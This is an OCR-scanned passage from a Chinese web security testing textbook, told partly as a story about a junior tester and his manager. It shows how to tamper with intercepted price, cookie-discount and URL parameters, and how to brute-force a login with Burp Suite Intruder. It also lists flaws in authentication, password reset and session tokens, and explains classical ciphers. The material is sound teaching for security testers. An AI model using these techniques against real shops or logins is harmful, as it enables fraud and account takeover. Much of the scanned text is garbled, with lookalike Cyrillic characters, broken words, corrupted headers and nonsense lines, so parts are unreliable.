可 以 直接 在 “intercept” 选 项 卡 或 者 将 该 请 求 发 送 到 repeaterVintruder 中 ， 以 修改 该 Price 参数 ， 再 次 提交 至 服务 端 ， 查 看 能 否 被 服务 器 端 接受 ， 一 旦 该 请 求 被 成 功 接受 ， 就 表明 成 功 


于 隐藏 表单 传递 请 求 数据 的 限制 。 


3.HTTP cookie 


与 隐藏 表单 类 似 ，HTTP cookie 并 不 显示 在 用 户 屏幕 上 ， 也 不 可 直接 修改 。 而 有 些 网 站 对 于 不 同 的 会 员 等 级 会 有 不 同 的 折扣 ， 判 断 是 否 享 


有 折扣 就 用 cookie 来 传达 。 


绕 过 了 客户 端 对 


例如 ， 有 些 电 商 网 站 最 早 对 金牌 会 员 的 折扣 就 是 用 cookie 传 达 ， 类 似 在 用 户 登 录 后 返回 一 个 响应 。 


НТТР/1.1 200 ОК 
Set-Cookie: DiscountAgreed-20 


这 样 可 以 通过 拦截 发 现 该 cookie 值 ， 并 可 在 购买 时 对 其 进行 修改 。 例 如 : 


POST /shop/1l.html HTTP/1.1 
Host: 127.0.0.1 
Cookie: DiscountAgreed-80 


从 而 拿 到 了 更 低 的 折扣 。 


4.URL 参 数 


应 用 程序 有 可 能 会 使 用 预先 设 定好 的 URL 参 数 通过 客户 端 传递 数据 。 例 如 : 


http: //127.0.0.1/shop/1.html? quantity=l&price=449 


当然 ， 这 个 URL 不 一 定 直 接 显示 在 浏览 器 地 址 栏 中 ， 也 可 能 通过 包含 参数 的 URL 加 载 框架 内 容 或 用 弹 窗 等 其 他 方法 隐藏 地 址 栏 ， 这 时 仍 可 以 通过 拦截 代理 服务 器 来 捕获 任何 一 个 不 规范 的 URL 参 数 ， 从 而 
修改 某 些 参数 ， 以 达到 绕 过 的 目的 。 


5. 加 密 数 据 


有 时 候 ， 通 过 客户 端 传送 的 数据 是 经 过 加 密 或 某 种 形式 的 模糊 处 理 ( 见 图 10-18) 的 ， 并 不 以 明文 显示 。 如 通过 拦截 代理 服务 器 得 到 这 样 一 组 数据 “D61E4BBD6393C9111E6526EA-173A7C8B”， 有 
几 种 方法 可 以 实施 攻击 。 


1) 破解 : 看 是 否 是 base32、ba4se6、MD5 等 基本 加 密 方式 ， 通 过 decode 或 彩虹 表 判 断 ， 成 功 破解 后 修改 值 进行 攻击 。 


2) 如 果 完全 无 法 理解 ， 仍 可 以 重新 传送 它 的 值 ， 如 抓 取 另 一 款 较 便宜 的 产品 的 price 进 行 替换 ， 无 视 其 模糊 处 理 。 


Гаеп | 


request to http'iñieba baidu.com:80 [123.125.65.93] 


Host: 127.0.0.1 Ë 
User-Agent: Mozilla/5.0 (Vindous NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0 ч 
lAccept: text/html,application/xhtml4xml,application/xml;qs0.9,*/*:q70,.8 = 


Àccept-Language: zh-cn,zh:q*0.8,en-us;q*0.5,en:q*»0.3 
|Accept-Encoding: gzip, deflate 

|Ргоху-Соппестіоп: keep-alive 

Referer: http://127.0.0.1/shop/1.html 


Iquantitys"l£&price7»D61E4BBD63930C9111E6526EA173A7CBB 


I 


[= cw ew] | Omatche: 


图 10-18 ”模糊 数据 


至 此 ， 小 白 似乎 对 安全 测试 有 了 更 深入 的 了 解 ， 也 做 出 了 一 个 重大 的 决定 : 尝试 绕 过 自己 公司 的 电 商 网 站 ， 看 看 有 没有 漏洞 。 


10.3.2 攻击 验证 机 制 


小 白 曾 经 在 性 能 测试 过 程 中 因为 验证 码 的 问题 纠结 了 很 久 ， 所 以 对 验证 机 制 有 一 定 的 了 解 ， 于 是 信心 满 满 地 打开 这 一 部 分 笔记 ， 心 想 : 总 算 有 自己 比较 熟悉 的 了 ， 这 部 分 肯定 容易 学 习 一 些 。 


验证 机 制 是 Web 应 用 中 最 常见 ， 也 最 核心 的 一 种 安全 机 制 。 通 俗 来 说 ， 就 是 Web 应 用 必须 验证 用 户 所 提交 的 用 户 名 和 密码 是 否 正确 。 正 确 则 允许 登录 ， 错 误 则 禁止 。 


验证 机 制 常 被 看 作 是 防御 Web 有 恶意 攻击 的 核心 机 制 。 它 处 于 Web 安 全 防御 阵线 的 最 前 沿 ， 如 果 攻 击 者 可 以 轻松 突破 验证 机 制 ， 那 么 系统 的 所 有 功能 、 数 据 ， 甚 至 是 账户 余额 等 私密 信息 都 会 被 攻击 者 控 
制 。 验 证 机 制 是 其 他 所 有 安全 机 制 的 前 提 ， 如 果 验 证 机 制 无 法 阻止 攻击 ， 那 么 其 他 安全 机 制 也 大 多 无 法 实施 (会话 管理 和 访问 控制 ) 。 


通常 Web 应 用 使 用 的 验证 技术 有 以 下 3 种 。 基 于 HTML 表 单 的 验证 、 多 元 机 制 (如 组 合 型 密码 ) 和 客户 端 SSL 证 书 。 
目前 的 Web 应 用 程序 中 最 常用 的 验证 机 制 是 使 用 HTML 表 单 获取 用 户 名 和 密码 ， 并 将 它们 提交 给 应 用 服务 。 

验证 机 制 常见 的 漏洞 有 以 下 几 种 。 

1. 密 码 保密 性 不 强 ( 弱 口 令 ) 

许多 Web 应 用 程序 没有 或 很 少 对 用 户 密码 强度 进行 控制 。 常 见 的 弱 口 令 包 括 : 

1) 非常 短 或 空白 密码 。 

2) 以 常用 字典 词汇 为 密码 (password、123456) 。 


3) 密码 与 用 户 名 完全 相同 。 


tB, 


4) 长 时 间 使 用 默认 密码 。 
2. 暴 力 攻击 登录 


登录 功能 往往 是 完全 公开 的 ， 这 样 的 机 制 可 能 会 诱 使 攻击 者 试图 利用 枚 举 来 猜测 用 户 名 和 密码 ， 从 而 获得 访问 应 用 程序 的 权力 。 如 果 应 用 程序 允许 攻击 者 用 不 同 的 密码 暴力 尝试 ， 直 到 他 找到 正确 的 密 
这 个 程序 就 非常 容易 遭受 攻击 。 


以 一 个 简单 的 登录 模块 为 例 ， 我 们 拦截 到 对 应 的 登录 请 求 如 图 10-19 所 示 。 


burp suite professional vl.4.01 licensed to DrakonlaSh 


шр intruder герезіег window about 
EEC x 
intercept m 


request to їр 172 26.3 250:8081 


Host: 172. 26.3.250:8081 

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0 
Accept: text/html,application/xhtml-4xml,application/xml;:qe0.9,*/*:q020.8 
Accept-Language: zh-cn,zh;q*0.8,en-us;q-0.5,en; q-0.3 

Accept-Encoding: gzip, deflate 

Proxy-Connection: keep-alive 

Referer: http://172.26.3,250:8081/csnt/ page/ login/ Login. jsp 


Cookie: JSESSIONID*FFDFEZZF22bES5A4BF5D8CD947B35FO061E 


Content-Type: application/x-www-form-urlencoded 
Content-Length: 104 


enterpriseCustomer.enterprise namesadmin&enterpriseCustomer.passwordes111111]| 


图 10-19 ”拦截 登 录 请 求 
1) 将 当前 请 求 发送 至 intruder 模 块 进行 枚 举 攻击 ， 如 图 10-20 所 示 。 
2) 选择 载 丛 位 置 ， 如 图 10-21 所 示 。 
3) 使 用 Burp Suite 提 供 的 数据 字典 来 配置 有 效 载荷 ， 如 图 10-22 所 示 。 


Š burp suite professional т1. 1. Ur licensed to Drakonbla5h 
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POST /csnt/login/loginByEnterprise.html HTTP/1.1 

Host: l?2.20.423.2250: 8081 

User-Agenrt: Hozilla/5.0 {Windows ЫТ 5. 1: Evili. 0) Gecko/20100101 Firsefox/12.0 
Accept: text/html,application/xntml- ТЫЛЫН: ы: 
Accept-Language: zh-cn,zh:qs0.8,en-u 521010 spider 

Accept-Encoding: gzip, deriaute do an active scan 

Proxy-Connection: keep-alive 
Referer: htrp://172.26.3.250: 8081/cs 
Cookie: JSESSIONID-FFDFE22F22ESA4BFS 
Content-Type: application/x-www-form 
Content-Length; 104 send to sequencer 


send to repealer 


send to comparer 


enterpriseCustomer.enterprise namesa 


assuordsiliiii 
send to decoder 


request in browser 


| engagement tools k | 


change request method 


图 10-20 ”请 求 发 送 至 intruder 


POST /csnt/ login/ loginByEnterprise.html HTTP/1.1 
Host: 172.26.3.250: B0B1 


User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0 
Accept: text/html,application/xhtml«xml,application/xml:qe*"0.9,*/*:q-0.8 
Àccept-Language: zh-cn, zh; q0. 8, em-us:q=0.5, en; q-0.3 

Àccept=Encoding: gzip, deflate 

Proxy-Connection: keep-alive 

Referer: http://172.26£.3.250:8081/cant /page/ login/ Login. jsp 

(Cookie: JSESSIONID-FDD3AOSOS3CEECFFFBZ27S52EDFDCEBFSDO 

Content-Type: application/x-vww-form-urlencoded 

Content-Length: 104 


810-21 选择 载荷 位 置 
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number of payloads: 15,742 
number of requests: 15742 


图 10-22 ”配置 有 效 载荷 


4) 开始 执行 攻击 ， 如 图 10-23 所 示 。 


| Fiter: showing ай tems 


> 
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Ir raw. "params “headers | hex 


POST / csnt/ login/ loginByEnterpr ise.html HTTP/ L. | 
Host: 172.26.3.250:8081 
|User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/ZO0100101 Firefox/12.0 
Accept: text/html,application/xhtml4xml,application/xml:qes0.9,*/*;dqs0.8 
Accept-Language: zh-cn,zh;q*-0.8,en-us;q*0.5,en:q-0.3 

Accept-Encoding: gzip, deflate 

Proxy Connection: keep-alive 


[+ | < Y > 1! | fimatehae 


图 10-23 ”暴力 破解 攻击 执行 


Ozas Burp Suite 自 身 提供 了 一 些 常 用 密码 字典 (包括 密码 字典 、 常 用 字符 ) ， 我 们 也 可 以 自行 添加 一 些 常用 值 。 依 赖 今天 的 带宽 和 处 理 能 力 ， 根 据 经 验 ， 每 分 钟 大约 可 以 发 出 几 千 甚至 上 万 个 登录 
试 ， 如 果 没 有 一 些 安全 措施 ， 那 么 再 强大 的 密码 也 会 最 终 被 攻破 。 


为 应 对 暴力 破解 问题 ， 很 多 Web 应 用 采取 了 不 同 的 安全 措施 : 

(1) 验证 码 

验证 码 是 最 常见 和 有 效 的 应 对 方式 ， 需 要 注意 以 下 几 个 问题 。 

` 验证 码 是 否 真 实 有 效 。 

' 验证 码 复 杂 度 

' 为 应 对 当前 盛行 的 “ 打 码 ”接口 。 

由 于 上 述 种 种 问题 ， 验 证 码 这 种 方式 也 许 不 能 完全 避免 暴力 破解 ， 但 实际 工作 经 验 告 诉 我 们 ， 即 使 这 种 方式 无 法 完全 生效 ， 也 可 以 使 多 数 随 意 的 攻击 者 停止 攻击 行动 ， 转 而 攻击 较 容易 的 应 用 程序 。 
(2) cookie 检 测 

例如 ， 有 些 应 用 程序 会 设置 一 个 cookie， 如 failedlogin=0; 登录 尝试 失败 ， 递 增 该 值 ， 达 到 某 个 上 限 ， 检 测 到 这 个 值 并 拒绝 再 次 处 理 登录 。 

这 种 客户 端 防御 方式 只 可 以 防止 使 用 浏览 器 手动 攻击 ， 用 Burp Suite 进 行 攻击 就 可 以 轻松 躲 开 。 

(3) 会 话 检 测 

与 cookie 检 测 类 似 ， 将 失败 计数 器 保存 在 会 话 中 ， 虽然 在 客户 端 没 有 标明 该 漏洞 存在 的 迹象 ， 但 是 只 要 攻击 者 获得 一 个 新 的 会 话 ， 就 可 以 继续 实施 暴力 攻击 。 
(4) 失败 锁定 账户 

有 些 应 用 程序 会 采取 登录 尝试 达到 一 定 次 数 后 锁定 目标 账户 的 方式 。 但 是 有 可 能 通过 分 析 其 响应 ， 在 锁定 账户 的 状态 下 仍 可 以 进行 密码 猜测 攻击 。 

3. 双 因子 认证 


图 10-24 为 双 因 子 流程 图 。 
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图 10-24 简单 双 因 子 流程 


是 指 结合 密码 以 及 实物 (信用卡 、SMS 手 机 、 令 牌 或 指纹 等 生物 标志 ) 两 种 条 件 对 用 户 进行 认证 的 方法 。 其 核心 是 综合 个 人 密码 (what you know) 和 通常 为 手机 (what you have) 来 达到 双重 认证 
目前 很 多 电 商 、 银 行 都 采用 了 该 认证 方式 。 


该 方式 最 大 的 缺点 就 是 构建 双 因 子 认 证 的 成 本 较 高 ， 服 务 器 压力 也 较 大 。 

4. 详 细 的 失败 信息 

经 典 的 登录 表单 会 要 求 用 户 输入 两 组 信息 : 用 户 名 和 密码 。 如 果 登 录 尝 试 失败 ， 则 可 以 得 出 结论 ， 至 少 有 一 组 信息 出 错 。 
但 是 如 果 应 用 程序 通知 用 户 是 哪 一 组 信息 无 效 ， 就 可 以 利用 该 信息 来 显著 降低 登录 机 制 的 防御 效能 。 

可 以 从 图 10-25 中 清楚 地 看 到 详细 失败 信息 对 验证 机 制 的 影响 。 


当然 ， 这 种 漏洞 有 可 能 以 更 隐 菩 的 方式 出 现 。 例 如 ， 用 户 名 无 效 和 密码 错误 的 错误 消息 表面 看 起 来 完全 相同 ， 但 它们 之 间 仍 有 可 能 存在 着 细微 的 差别 ， 可 以 通过 拦截 其 response 来 观察 是 否 有 细微 的 差 
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图 10-25 ”登录 验证 失败 信息 
5. 密 码 修改 功能 
成 熟 的 系统 除了 用 户 登 录 ， 往 往 还 会 提供 密码 修改 功能 ， 但 是 在 编码 过 程 中 ， 我 们 往往 忘记 了 这 个 功能 中 也 会 存在 一 些 安全 隐患 。 
密码 修改 功能 中 常见 的 安全 漏洞 包括 : 
1) 密码 修改 功能 是 否 拥有 隐藏 的 后 台 接 口 ， 如 不 通过 登录 直接 可 以 访问 该 功能 ; 
2) 是 否 可 以 使 用 不 符合 标准 的 密码 ， 如 弱 密码 等 
3) 密码 修改 的 请 求 提交 时 ， 是 否 用 户 名 也 随 之 提交 ? 如 果 提交 ， 是 否 可 以 通过 修改 用 户 名 来 达到 修改 非 当 前 登录 用 户 密 码 的 目的 ? 
6. 忘 记 密码 功能 
当前 互联 网 网 站 大 多 提供 “忘记 密码 ”功能 ,但 是 其 中 往往 会 存在 一 些 典型 的 安全 问题 ， 其 核心 问题 就 是 忘记 密码 的 流程 跳 过 了 身份 验证 。 
如 果 不 考虑 通过 客服 找 回 密码 ， 通 常 网 站 设计 有 3 种 方式 来 认证 用 户 。 
1) 用 户 设 定 的 安全 问题 。 


2) 用 户 注册 时 留 下 的 安全 邮箱 。 


3) 给 预 留 手机 号 上 发送 验证 码 短信 。 

那么 基于 以 上 3 点 ， 会 有 以 下 几 种 可 能 。 

1) 需要 确认 应 用 程序 中 是 否 有 隐 合 的 忘记 密码 功能 或 不 通过 用 户 名 查询 即 可 访问 的 情况 。 

2) 如 果 恢 复 机 制 使 用 质询 方式 ， 则 确定 用 户 能 否 枚 举 用 户 名 来 得 到 质询 信息 ， 与 猜测 密码 相 比 ， 响 应 质询 更 容易 。 

3) 如 果 在 包 记 密码 的 请 求 响 应 中 生成 一 封包 含 恢复 URL 的 电子 邮件 ， 获 取 大 量 此 类 URL 并 试图 分 析 和 预测 其 发 送 URL 的 模式 ， 是 否 可 以 得 到 其 他 未 知 用 户 的 恢复 URL。 

4) 无 论 是 使 用 邮件 ， 还 是 发 送 手机 验证 码 ， 查 看 是 否 可 以 拦截 请 求 以 修改 目标 邮箱 或 手机 号 ， 从 而 达到 绕 过 的 目的 。 

7. 用 户 伪装 功能 

应 用 程序 有 时 可 能 会 允许 特权 用 户 伪装 成 其 他 用 户 ， 例 如 某 些 电 商 网 站 拥有 类 似 OOB (on order behalf) 的 功能 ， 超 级 管理 员 可 以 伪装 成 任意 用 户 来 帮助 其 执行 某 些 操作 。 
伪装 功能 可 能 存在 以 下 设计 漏洞 。 


1) 如 上 述 提 到 的 OOB 类 功能 ， 网 站 可 能 通过 严格 的 权限 控制 (只 有 超级 管理 员 才 可 访问 的 功能 模块 ) 或 是 隐藏 的 链接 (只 有 超级 管理 员 才 知道 ) 的 方式 执行 ， 例 如 在 网 站 中 有 一 个 特殊 的 URL 可 以 链 
接 到 一 个 不 需要 核对 用 户 身份 的 页 面 执 行 部 分 操作 。 这 时 攻击 者 可 以 尝试 使 用 枚 举 URL 或 者 使 用 有 拒 虫 ， 从 而 拦截 到 该 功能 ， 动 持 所 有 用 户 。 


2) 有 些 伪 装 功能 以 后 门 密码 形式 执行 ， 也 就 是 说 ， 对 于 一 个 普通 用 户 ， 除 去 该 用 户 设置 的 密码 外 ， 还 拥有 一 个 “万 能 密码 ”。 这 种 设计 可 能 招致 暴力 破解 ， 攻 击 者 一 次 攻击 获得 两 个 “ 触 点 ”， 从 而 便 
可 揭示 出 后 台 密码 。 


感 


在 日 带 网 络 应 用 中 ， 经 常 发 现 一 些 多 阶段 登录 的 功能 ， 如 在 输入 用 户 名 、 密 码 后 ， 可 能 会 要 求 你 验证 一 个 私密 问题 ， 通 过 方 可 
也 可 能 产生 更 多 的 执行 缺陷 。 


录 。 这 样 的 设计 富 无 疑问 会 增加 验证 机 制 的 安全 性 ， 但 是 ， 这 样 的 过 程 


下 面 以 两 阶段 登录 验证 机 制 为 例 ， 说 明 多 阶段 登录 可 能 存在 的 设计 缺陷 。 
1) 程序 可 能 会 认为 ， 用 户 一 旦 访问 到 第 二 阶段 ， 就 已 经 完成 第 一 阶段 的 验证 ， 那 么 可 能 会 允许 攻击 者 直接 进入 第 二 阶段 。 


2) 程序 可 能 会 认为 ， 在 两 个 阶段 的 执行 过 程 中 ， 用 户 身 份 不 会 发 生 任何 变化 ， 于 是 并 没有 在 每 个 阶段 都 确认 用 户 身份 。 例 如 ， 第 一 阶段 提交 用 户 名 和 密码 ， 第 二 阶段 可 能 需要 重新 提交 某 个 私密 问题 答 
案 和 一 些 个 人 信息 。 如 果 攻 击 者 在 进行 第 二 个 阶段 时 提供 了 有 效 数 据 ， 但 是 不 同 于 第 一 阶段 时 的 用 户 ， 那 么 程序 可 能 会 允许 用 户 通 过 验证 。 


到 这 里 ， 小 白 合 上 了 笔记 ， 自 己 从 来 没有 想到 一 个 简单 的 验证 机 制 ， 居 然 有 如 此 多 的 内 容 和 可 能 存在 的 漏洞 。“ 果 然 是 学 无 止境 啊 ! ”人 小 白 感叹 道 ，“ 话 说 经 理 真 是 厉害 ， 总 结 得 那么 详细 和 精辟 ， 等 
我 哪 天 性 能 技术 大 成 的 时 候 ， 也 要 写 一 本 笔记 。” 小 白 陷入 了 深 深 的 慷 避 中 。 


10.3.3 ”攻击 会 话 管理 


休息 了 一 段 时 间 ， 又 认真 复习 了 一 下 验证 机 制 的 相关 内 容 ， 小 白 决定 乘胜追击 ， 把 会 话 管理 这 个 在 自己 看 来 与 验证 机 制 相 差 无 儿 的 部 分 也 在 今天 整体 学 习 一 下 。 谁 知道 ， 这 部 分 内 容 看 得 是 云 里 雾 里 ， 
无 奈 之 下 ， 小 白 觉得 还 是 去 请 教 下 小 黑 经 理 ， 让 他 亲自 给 自己 讲 讲 。 


敲 门 走 进 小 黑 经 理 办 公 室 ， 就 看 到 小 黑 经 理 正在 Besttest 论 坛 上 与 测试 同行 交流 ， 小 白 凑 了 过 去 ， 看 到 小 黑 经 理 恰好 在 跟 大 家 就 session 的 问题 进行 交流 ， 连 忙 问 道 : “经 理 ， 你 的 笔记 我 看 到 了 会 话 管 
理 部 分 ,今天 我 简单 浏览 了 一 遍 ， 发 觉 很 难看 懂 ， 您 看 您 能 不 能 给 我 讲 讲 啊 。" 


“比如 ， 这 会 话 管理 ， 会 话 到 底 指 的 是 什么 ? ”， 小 白 问 道 。 


“在 Web 应 用 中 ， 用 户 打开 一 个 浏览 器 ， 访 问 某 一 个 Web 站 点 ， 在 这 个 站 点 单 击 多 个 超 链接 ， 访 问 服务 器 的 多 个 Web 资 源 ， 然 后 关闭 浏览 器 ， 整 个 过 程 就 可 以 称 为 一 个 会 话 。” 不 等 小 白 再 开口 ， 小 黑 
经 理 继续 说 道 ，“ 服 务 器 会 话 就 是 通常 说 的 session， 它 是 一 种 服务 器 端的 机 制 ， 是 一 个 客户 端 与 服务 器 之 间 的 不 中 断 的 请 求 响应 序列 。 对 客户 端的 请 求 ， 服 务 器 通过 session 能 够 识别 出 请 求 来 自 于 同一 个 
客户 。 当 一 个 未 知 的 客户 向 Web 应 用 程序 帮 送 第 一 个 请 求 时 就 开始 了 一 个 会 话 。 当 客户 明确 结束 会 话 ， 也 就 是 注销 或 服务 器 在 一 个 预定 义 的 时 限 内 不 从 客户 接受 任何 请 求 时 ( 即 session 失 效 后 ) ， 会 话 就 结 
ЖУ. " 


听 到 这 里 ， 小 白 似 乎 抓 住 了 一 些 ， 又 继续 问 道 : “ 那 您 笔记 中 提 到 的 session 1D 人 存储 在 cookie 中 又 是 什么 意思 ? " 


“在 会 话 过 程 中 ， 如 果 客 户 请 求 不 包含 session 1D ， 则 为 此 客户 创建 一 个 session 并 生成 一 个 与 此 session 相 关联 的 session 1D， 这 个 session ID 将 在 本 次 响应 中 返回 给 客户 端 保 存 。 保 存 session 1D 有 几 
种 方式 ， 其 中 最 常用 的 就 是 把 它 保存 在 cookie 中 ， 我 们 最 常见 的 cookie 中 包含 的 jsessionid 等 参数 就 是 最 典型 的 session 1D。 不 用 我 再 告诉 你 Cookie 是 什么 了 吧 ?“ 


小 白 听 完 , 说: “虽然 了 解 一 些 ， 但 是 .…… 最 好 还 是 给 我 再 说 一 下 吧 ?“ 


小 黑 经 理 摇 了 摇头 ， 继 续 说道 : “你 也 知道 HTTP 是 无 状态 的 ， 对 于 一 个 浏览 器 发 出 的 请 求 ， 服 务 器 无 法 区 分 是 不 是 同一 个 来 源 ， 也 就 无 法 知道 上 一 次 用 户 做 了 什么 。 所 以 ， 需 要 额外 的 数据 用 于 维护 会 
话 。cookie 正 是 这 样 的 一 段 随 HTTP 请 求 一 起 被 传递 的 额外 数据 ， 用 于 维护 浏览 器 和 服务 器 的 会 话 。” 


“ 姥 cookie 是 怎么 工作 的 呢 ? " 


“ 举 个 例子 吧 ， 当 你 在 浏览 器 地 址 栏 中 输入 了 Besttest 论 坛 的 URL， 浏 览 器 会 向 Besttest 发 送 一 个 读 取 网 页 的 请 求 ， 并 将 结果 在 显示 器 上 显示 。 在 发 送 之 前 ， 该 网 页 在 你 的 电脑 上 寻找 Besttest 网 站 设置 
的 cookie 文 件 ， 如 果 找 到 ， 浏 览 器 会 把 cookie 文 件 中 的 数据 连同 前 面 输入 的 URL 一 同 发 送 到 Besttest 服 务 器 。 服 务 器 收 到 cookie 数 据 ， 就 会 在 它 的 数据 库 中 检索 你 的 ID、 你 的 留言 记录 、 个 人 喜好 等 信息 ， 
并 记录 下 新 的 内 容 ， 增 加 到 数据 库 和 cookie 文 件 中 。 如 果 没 有 检测 到 cookie 或 者 你 的 cookie 信 息 与 数据 库 中 的 信息 不 符合 ， 就 说 明 你 是 第 一 次 浏览 该 网 站 ， 服 务 器 将 为 你 创建 新 的 ID 信息 ， 并 保存 到 数据 库 
m. ^ 


“这 样 说 我 就 明白 了 ” ， 小 白 似 乎 想到 了 什么 ， 拿 出 了 笔记 本 ， 说 道 ，“ 笔 记 里 提 到 会 话 管理 机 制 中 的 安全 漏洞 主要 在 会 话 令 牌 生成 过 程 中 和 在 整个 会 话 生 命 周期 过 程 中 ， 这 一 部 分 又 要 怎么 理解 ?“ 


“一 部 分 一 部 分 来 说 吧 ， 先 说 会 话 令 牌 生成 过 程 中 的 安全 漏洞 。 令 牌 生 成 过 程 中 的 主要 漏洞 就 是 令 牌 可 以 被 构造 。 其 中 包括 了 两 种 漏洞 ， 一 种 是 令 牌 售 义 易 读 ， 也 就 是 没有 进行 加 密 或 者 加 密 了 ， 但 可 
以 被 解密 成 可 读 字 符 ， 另 外 一 种 是 令 牌 可 以 被 预测 ， 可 能 包含 一 些 隐 含 序列 、 时 间 戳 等 。” 小 黑 经 理 顿 了 一 下 ， 似 乎 在 等 待 小 白 的 提问 。 


“加 密 这 部 分 我 只 知道 MD5、Base64 这 几 个 简单 的 ， 其 他 的 呢 ? 我 在 工作 过 程 中 要 怎么 看 出 来 。” 


“这 样 吧 ， 关 于 加 密 ， 我 这 里 总 结 了 几 种 常见 的 加 密 方式 ， 你 可 以 拿 来 简单 看 一 下 。” 说 轻 ， 小 黑 经 理 又 从 自己 的 办 公 桌 里 找 出 一 页 手写 的 纸 递 给 小 白 。 


小 白 赶 忙 低 头 看 下 去 ， 只 见 纸 上 写 着 ; 


数据 的 表示 有 多 种 形式 ， 使 用 最 多 的 是 文字 ， 还 有 图 形 、 上 声音 、 图 像 等 。 这 些 信 息 在 计算 机 系统 中 都 是 以 菜 种 编码 的 方式 来 存储 的 。 传 统 加 密 方法 的 主要 应 用 对 象 是 对 文字 信息 进行 加 密 和 解密 。 网 络 
技术 中 常用 的 两 种 加 密 方法 是 代 换 密码 法 和 转换 密码 法 。 


1. 蔡 代 密 码 法 
替代 密码 (substitution cipher) 是 使 用 替代 法 进行 加 密 所 产生 的 密码 。 它 有 单字 母 密码 法 和 多 字母 密码 法 两 种 。 


奉 代 密码 就 是 明文 中 的 每 一 个 字符 都 被 蔡 换 成 密 文中 的 另外 一 个 字符 。 接 收 者 对 密 文 进行 逆 蔡 换 就 可 恢复 出 明文 。 蔡 代 法 加 密 是 用 另 一 个 字母 表 中 的 字母 替代 明文 中 的 字母 。 在 替代 法 加 密 体制 中 ， 使 
用 了 密 钥 字母 表 。 它 可 以 由 明文 字母 表 构成 ， 也 可 以 由 多 个 字母 表 构 成 。 如 果 是 由 一 个 字母 表 构成 的 替代 密码 ， 称 为 单 表 密 码 。 其 替代 过 程 是 在 明文 和 密码 字符 之 间 进 行 一 对 一 的 映射 。 如 果 是 由 多 个 字母 
表 构 成 的 替代 密码 ， 则 称 为 多 表 密 码 。 


在 经 典 密码 学 中 ， 有 4 种 类 型 的 替代 密码 : 简单 替代 密码 、 多 名 码 蔡 代 密 码 、 多 字母 替代 密码 和 多 表 蔡 代 密 码 。 
(1) 单字 母 密码 加 密 方法 
单字 母 密码 加 密 方 法 是 用 一 个 字母 代替 男 一 个 字母 ， 用 一 组 字母 代替 另 一 组 字母 ， 从 而 完成 明文 到 蜜 文 的 转变 。 这 种 加 密 方 法 相对 比较 简单 ， 通 常用 到 的 有 : 移 位 映射 法 、 倒 映射 法 和 步 长 映射 法 等 。 


1) 移 位 映射 法 。 


(2) 单 表 替代 密码 
单 表 蔡 代 密 码 的 一 种 典型 方法 是 凯撒 (Caesar) 密码 ， 又 叫 循环 移 位 密码 。 它 的 加 密 方法 是 把 明文 中 的 所 有 字母 都 用 它 右边 的 第 k 个 字母 替代 ， 并 认为 Z 后 边 又 是 A。 这 种 映射 关系 可 表示 为 如 下 函数 。 
F (а) = (atk) modn 
其 中 ，a 表 示 明 文字 母 ; n 为 字符 集中 的 字母 个 数 ; КЕН. 
在 映射 表 中 ， 了 明文 字母 在 字母 表 中 的 相应 位 置 数 为 C (如 A=1，B=2，.…) ， 形 式 如 下 。 
设 k= 3; 对 于 明文 P = COMPUTE SYSTEMS， 则 有 : 
f (С) = (3+3) mod 26=6=F 
f (О) = (15+3) mod 26-18-R 
f (M) = (13+3) mod 26=16=P 
f (S) = (19+3) mod 26-22-V 
BLA, SEX JJFRPSXRWHUVBVWHPV, 
除了 凯撒 密码 ， 在 其 他 的 单 表 蔡 代 法 中 ， 还 有 的 字母 表 被 打 乱 。 例 如 ， 在 字母 表 中 首先 排列 出 密 钥 中 出 现 的 字母 ， 然 后 在 密 钥 后 面 填 上 剩余 的 字母 。 如 密 钥 是 HOW， 那 么 新 的 字母 表 就 是 : 
HOWABCDEFGIJKLMNPQRSTUVXYZ 
这 个 密 钥 很 短 ， 多 数 明 文字 母 离开 其 密 文 等 价 字 母 ， 仅 有 一 个 或 几 个 位 置 。 若 用 长 的 密 钥 字 ， 则 距离 变 大 ， 因 而 难于 判断 是 何 文字 密 钥 。 
(3) 多 字母 密码 加 密 方法 
密 钥 是 对 应 于 全 部 26 个 英文 字母 的 字符 串 ， 是 一 个 简短 目 便 于 记忆 的 单词 或 短语 。 以 费 杰 尔 (vigenere) 密码 为 例 ， 它 规定 有 如 下 含有 26 个 英文 字母 的 恺 撒 方 阵 ， 具 体 如 下 。 
第 01 行 ab cdefghijklmnopdrstuvwxyz 
第 02 行 bcdefghijklmnopdrstuvwxyza 
第 03 行 cdefghijklmnopdrstuvwxyzab 
第 25 行 yzabcdefghijklmnopgqrstuvwx 
第 26 行 zabcdefghijklimnopqrstuvwxy 


其 加 密 方法 是 选择 一 个 单词 或 短语 作为 密 钥 ， 在 明文 的 上 方 重复 密 铀 ， 这 样 明 文中 字母 和 密 铀 重复 的 字母 就 会 一 一 对 应 ， 由 此 确定 明文 中 各 个 字母 在 恺 撒 方 阵 中 所 处 的 行 ， 进 一 步 确定 密 钥 中 的 字母 在 
正常 字母 序列 中 的 顺序 号 ， 根 据 此 顺序 号 确定 行 中 与 之 对 应 的 新 字母 ， 则 该 新 字母 即 为 与 明文 字母 对 应 的 密 文字 母 。 显 然 ， 这 种 加 密 的 效果 相对 要 好 一 些 ， 而 且 密 钥 的 长 度 越 长 ， 越 不 容易 被 破译 。 


多 字母 密码 加 密 的 具体 步骤 如 下 。 
1) 选取 一 个 较为 合适 的 密 钥 : come, 
2) 明文 : the task has been finished。 


3) 在 明文 的 上 方 重复 密 钥 。 


Д) 确定 行 : 明文 中 的 第 一 个 字母 t 上 方 对 应 的 字母 为 c， 而 以 字母 c 为 第 一 个 字母 的 行 在 恺 撒 方 阵 中 为 第 3 行 。 


5) 确定 顺序 号 : 字母 { 在 正常 字母 序列 中 的 顺序 号 为 20。 在 第 3 行 中 找 出 顺序 号 为 20 的 字母 为 v， 则 v 即 为 密 文 的 第 一 个 字母 ， 即 密 文 中 的 第 一 个 字母 \ 与 明文 中 的 第 一 个 字母 t 相 对 应 。 


6) 按 此 步骤 完成 其 他 字母 的 转换 。 

7) 明文 与 密 文 的 对 应 关系 。 

例如 ， 以 YOUR 为 密 铀 ， 加 密 明 码 文 HOWAREYOU。 
明文 =HOWAREYOU 

密 铀 =YOURYOURY 


密 文 =FCQRPSSFS 


